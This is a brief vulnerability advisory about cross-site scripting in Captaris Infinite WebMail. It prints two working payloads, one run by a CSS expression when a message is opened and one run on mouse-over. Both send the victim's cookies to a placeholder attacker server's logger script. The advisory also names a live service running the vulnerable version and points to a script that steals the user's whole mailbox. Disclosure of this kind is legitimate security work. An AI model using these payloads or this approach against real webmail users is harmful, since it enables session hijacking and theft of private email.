Captaris WebMail XSS Vulnerability

EXPLOIT
dogmail.cgi

DESCRIPTION
I figured it was about time I hopped on the XSS band-wagon. XSS against webmail clients is actually mildy interesting and the example CGI script I created provides a good base framework for similar attacks.

Captaris (www.captaris.com) Infinite WebMail application is vulnerable to Cross-Site Scripting (XSS) attacks. The application fails to filter the following tags that can both be used to redirect a user to an attack script:

Launch on e-mail open:

    <p style="left:expression(document.location=
    'http://attackers.server/cgi-bin/logger.cgi?'
    +document.cookie)"> 

Launch on mouse over:

    <b onMouseOver= "document.location=
    'http://attackers.server/cgi-bin/logger.cgi?'
    +document.cookie\">

I am sure there are other XSS attack methods that can also be utilized to bypass their basic filtering.

A sample vulnerable service is provided by dog.com (www.dogmail.com), they are running WebMail v3.61.05. A sample cookie and mail logger script that will retrieve all of the messages in the users main mailbox has been written and is available at the link shown above.